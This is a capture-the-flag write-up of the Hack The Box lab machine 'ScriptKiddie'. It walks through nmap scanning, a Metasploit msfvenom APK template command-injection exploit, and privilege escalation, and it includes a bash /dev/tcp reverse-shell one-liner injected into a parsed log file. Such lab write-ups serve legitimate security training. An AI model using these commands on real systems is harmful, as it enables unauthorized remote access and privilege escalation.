Hack The Box writeup - ScriptKiddie
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/htb-scriptkiddie.jpg?resize=720%2C340&ssl=1)
Today we will solve box ScriptKiddie, easy box by Hack The Box (HTB). For those who don't know, HTB is a practice platform to learn penetration testing.
Box Details
Box Name | ScriptKiddie |
OS | Linux |
Difficulty | Easy |
IP | 10.10.10.226 |
Points | 20 |
Summary
- Connect HTB VPN connection.
- Start the ScriptKiddie box from the HTB portal and ping the machine IP.
- Start with Nmap. Found two ports 22 and 5555 open.
- Browse http://10.10.10.226:5000.
- Found functionality of msfvenom on a webpage.
- Search Google for msfvenom exploit.
- Found exploit.
- Use msfconsole to generate msf.apk
- Upload it on the web and set up a listener.
- Got user kid.
- Check scanlosers.sh
- Rewrite hackers file and got pwn shell.
- Check sudo permissions on the pwn shell.
- sudo root and found the root flag.
Start with Nmap
Basic Scan
nmap 10.10.10.226
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/nmap-ip.jpg)
Run default scripts (-sC), enumerate version (-sV) against target.
nmap -sC -sV 10.10.10.226
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/nmap-sC-sV.jpg)
Scan all ports once by using the -p- option. This step will ensure the coverage of all open ports.
nmap -p- 10.10.10.226
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/nmap-p-ip.jpg)
UDP scan
You can use the below command for UDP scan. Although, I have not found anything.
nmap -sU -p- 10.10.10.226
Check in Web Browser
Browse http://10.10.10.226:5000
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/web-5000.jpg?resize=1024%2C552)
Play with webpage. Just type IP to see response.
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/web-nmap-ip.jpg?resize=1024%2C196)
The webpage (payloads) shows a functionality similar to msfvenom tool. I have tried to search exploit of msfvenom that may help me to get user shell.
Found "Rapid7 Metasploit Framework msfvenom APK Template Command Injection".
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/Rapid7-Metasploit-Framework-msfvenom-APK-Template-Command-Injection.jpg?resize=1024%2C316)
Read Description. As mentioned in description, This vulnerability helps in perform command injection. By using msfconsole, we will create apk file to upload on our web tool.
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/rapid7.jpg)
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/rapid7.jpg?resize=848%2C427)
Open Metasploit on Kali machine. Now we will create apk file by using msfconsole.
msfconsole
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/msfconsole-1.jpg?resize=1024%2C599)
Search exploit by typing below command.
search msfvenom
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/msfconsole-2.jpg?resize=1024%2C159)
Found exploit. Now for creating apk file, use below command to select and then display options.
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection show options
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/msfconsole-3.jpg?resize=1024%2C516)
Use ifconfig command to find IP and set it to lhost. lport you can put 1111.
set lhost 10.10.14.2 set lport 1111 set rhost 10.10.10.226 set rport 5555
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/msfconsole-4.jpg)
Now apk file is generated by msfconsole. As mentioned in terminal, msf.apk stored at /home/kali/.msf4/local/msf.apk. Now select os as android and lhost is IP of your Kali system. Locate msf.apk and click on generate. But set up listener by using nc -lvnp 1111 command before click on generate.
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/web-payloads.jpg)
Got reverse shell on nc. You can confirm user by using id and ifconfig command.
id ifconfig
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/user-rev-shell.jpg)
Get a interactive shell by using below command.
python3 -c 'import pty; pty.spawn("/bin/sh")'
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-1.jpg)
Now navigate and use below commands to know more about remote system. Use pwd to know present working directory, cd for change directory, ls -l for listing files and wc for word count user.txt file.
pwd cd .. ls -l wc user.txt
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-2.jpg)
Privilege Escalation
Notice two user lid and pwn accounts. Two directories kid and pwn available. File pwn seems to be interesting.
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-3.jpg)
Just browse the directory pwn. List out directories by using ls -l command.
ls -l cat scanlosers.sh
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-4.jpg)
Log file contains directory /home/kid/logs/hackers. Remember cut command truncate first two fields.
Just check permission by using ls -l command.
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-5.jpg)
Use below command
echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/2222 0>&1' #' >> hackers nc -lvnp 2222
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-6.jpg)
Got user pwn shell. Now get a interactive shell.
python3 -c 'import pty; pty.spawn("/bin/sh")'
Check sudo permissions. Found user msfconsole, login is allowed without password.
sudo -l
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-8.jpg)
Sudo user msfconsole.
sudo msfconsole
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-9.jpg)
Check id
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-10.jpg)
Found root.txt file.
![](https://i0.wp.com/allabouttesting.org/wp-content/uploads/2021/06/priv-11.jpg)
Subscribe us to receive more such articles updates in your email.
If you have any questions, feel free to ask in the comments section below. Nothing gives me greater joy than helping my readers!
Disclaimer: This tutorial is for educational purpose only. Individual is solely responsible for any illegal act.